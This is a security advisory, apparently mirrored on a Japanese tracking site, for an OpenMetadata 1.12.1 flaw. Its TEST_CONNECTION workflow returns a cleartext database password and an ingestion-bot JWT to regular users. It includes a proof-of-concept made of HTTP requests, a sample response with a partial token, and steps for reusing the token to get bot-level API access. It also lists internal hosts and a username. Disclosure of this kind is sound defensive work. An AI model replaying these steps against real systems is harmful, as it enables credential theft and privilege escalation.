OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users

説明

This is not applicable if an application is configuring the Secrets Store to store credentials. Please make sure to follow the best practices when deploying in production
In OpenMetadata 1.12.1, a non-admin SSO user can trigger a TEST_CONNECTION workflow for a Database Service and receive, in the HTTP 201 response of POST /api/v1/automations/workflows, both:

  • The cleartext database password in request.connection.config.password.
  • The ingestion bot JWT in openMetadataServerConnection.securityConfig.jwtToken.

The leaked ingestion-bot token can then be reused as Authorization: Bearer <jwt> to access sensitive service APIs (for example, GET /api/v1/services/databaseServices/{id}?include=all) with bot-level privileges.

This looks different from GHSA-pqqf-7hxm-rj5r, because it affects the automations/workflows TEST_CONNECTION endpoint on OpenMetadata 1.12.1, not the ingestion pipelines endpoints.


Version / Product

  • Product: OpenMetadata (open source, Apache 2.0)
  • Version: 1.12.1
  • GET /api/v1/system/version →
    {"version":"1.12.1","revision":"618a2dc2ec8f70ffcd0378ee14ce92cb4f98f0c5"}
  • Deployment: OpenMetadata server with SSO via Azure AD (OAuth), Oracle database service, secrets in DB secrets manager (secretsManagerProvider: "db").

Preconditions

  • Authenticated SSO user with access to the UI.
  • User can open a Database Service and click “Test connection”.
  • No server admin role, no shell/DB access.

PoC (short)

1) Login as a regular SSO user.

2) In the UI go to:
Settings → Services → Database Services → utplrac_scan2_srvetel
Open the connection tab and click “Test connection”.

3) The browser sends:

POST /api/v1/automations/workflows HTTP/1.1
Host: catalogodatos-test.utpl.edu.ec
Authorization: Bearer <Azure_AD_user_JWT>
Content-Type: application/json

{
"name": "test-connection-Oracle-XXXX",
"workflowType": "TEST_CONNECTION",
"request": {
"connection": {
"config": {
"type": "Oracle",
"scheme": "oracle+cx_oracle",
"username": "qpro_gobierno_datos",
"password": "**",
"hostPort": "172.16.54.32:1521",
...
}
},
"serviceType": "Database",
"connectionType": "Oracle",
"serviceName": "utplrac_scan2_srvetel"
}
}

Note: in the request the password is masked as "**".

4) The server responds with HTTP 201 and a body similar to:

{
"id": "5acd06f0-0db6-43b9-b0e0-e1574479bba7",
"workflowType": "TEST_CONNECTION",
"request": {
"connection": {
"config": {
"type": "Oracle",
"scheme": "oracle+cx_oracle",
"username": "qpro_gobierno_datos",
"password": "<REAL_PASSWORD_HERE>",
"hostPort": "172.16.54.32:1521",
...
}
},
"serviceType": "Database",
"connectionType": "Oracle",
"serviceName": "utplrac_scan2_srvetel",
"secretsManagerProvider": "db"
},
"openMetadataServerConnection": {
"type": "OpenMetadata",
"hostPort": "http://openmetadata-server:8585/api",
"authProvider": "openmetadata",
"securityConfig": {
"jwtToken": "eyJraWQiOiJHYjM4OWEtOWY3Ni1nZGpzLWE5MmotMDI0MmJrOTQzNTYiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJvcGVuLW1ldGFkYXRhLm9yZyIsInN1YiI6ImluZ2VzdGlvbi1ib3QiLCJyb2xlcyI6WyJJbmdlc3Rpb25Cb3RSb2xlIl0sImVtYWlsIjoiaW5nZXN0aW9uLWJvdEBvcGVuLW1ldGFkYXRhLm9yZyIsImlzQm90Ijp0cnVlLCJ0b2tlblR5cGUiOiJCT1QiLCJ1c2VybmFtZSI6ImluZ2VzdGlvbi1ib3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJpbmdlc3Rpb24tYm90IiwiaWF0IjoxNzc0MDI2Nzg3LCJleHAiOjE3ODE4MDI3ODd9.DHLw4s..."
},
...
},
"updatedBy": "<regular_user>",
...
}

Key points:
- request.connection.config.password now contains the real Oracle DB password in cleartext.
- openMetadataServerConnection.securityConfig.jwtToken contains a valid JWT for the ingestion-bot account (sub = "ingestion-bot", tokenType = "BOT").

5) Reuse the leaked ingestion-bot JWT:

GET /api/v1/services/databaseServices/f0382c0b-149e-4ca5-8844-d636c3437b9d?include=all HTTP/1.1
Host: catalogodatos-test.utpl.edu.ec
Authorization: Bearer <leaked_ingestion-bot_JWT>
Accept: application/json

The API returns the full database service including username and password, confirming bot-level access.


Impact / Severity

  • Any user who can run “Test connection” on a database service can:
  • Recover the cleartext DB credentials.
  • Recover a long‑lived ingestion-bot JWT.
  • Act as ingestion-bot against the OpenMetadata API and access/modify services and metadata.

**
<img width="1256" height="653" alt="LOWLEVELTOKEN" src="https://github.com/user-attachments/assets/e5b45edb-be51-493a-b4d0-25175cdf7cbc" />
<img width="194" height="339" alt="USERROL" src="https://github.com/user-attachments/assets/04005616-4c7b-4b27-90f6-a8e1a974712b" />
<img width="972" height="389" alt="CLEARPOC" src="https://github.com/user-attachments/assets/fdb26b59-782e-4a6b-a595-cdfb7ea68984" />**

基本情報

タイプ
reviewed
深刻度
high
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ソースコード
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公開(アドバイザリ)
2026-05-21 16:36:25 UTC
更新
2026-06-09 13:12:16 UTC
GitHub レビュー済み
2026-05-21 16:36:25 UTC
NVD で公開
2026-06-08

EPSS Score

Score Percentile
0.04% 12.81%

CVSS Scores

Base score Version Severity Vector
8.3 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L クリックして展開
攻撃ベクター (AV:N)
インターネットなど、ルーティングされたネットワーク越しに遠隔から悪用しうる。端末の前にいる必要はない。
攻撃の複雑さ (AC:L)
攻撃者が条件を満たせば、レース条件や珍しい構成に依存せずに再現しやすい。
必要な権限 (PR:L)
一般ユーザー権限があれば足り、管理者(root 相当)は不要。
ユーザーの関与 (UI:N)
メールのリンクを開く、マクロを有効にするなど、被害者の協力がなくても成立しうる。
スコープ (S:U)
影響は脆弱コンポーネントと同一のセキュリティ権限・信頼境界の内側に収まる。
機密性への影響 (C:H)
広範な機微データの読み取りや持ち出しが現実的。
完全性への影響 (I:H)
権限の奪取や広範なログ改竄など、システムの信頼根拠を揺るがす改ざんが現実的。
可用性への影響 (A:L)
遅延や一部機能の停止、断続的な障害など、運用で吸収しうる範囲。

Identifiers

CWEs

CWE id Name
CWE-201 Insertion of Sensitive Information Into Sent Data

Credits

  • JorgeCampoverdeA (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
maven org.open-metadata:openmetadata-service < 1.12.4 1.12.4

References

cvelogic Threat Intelligence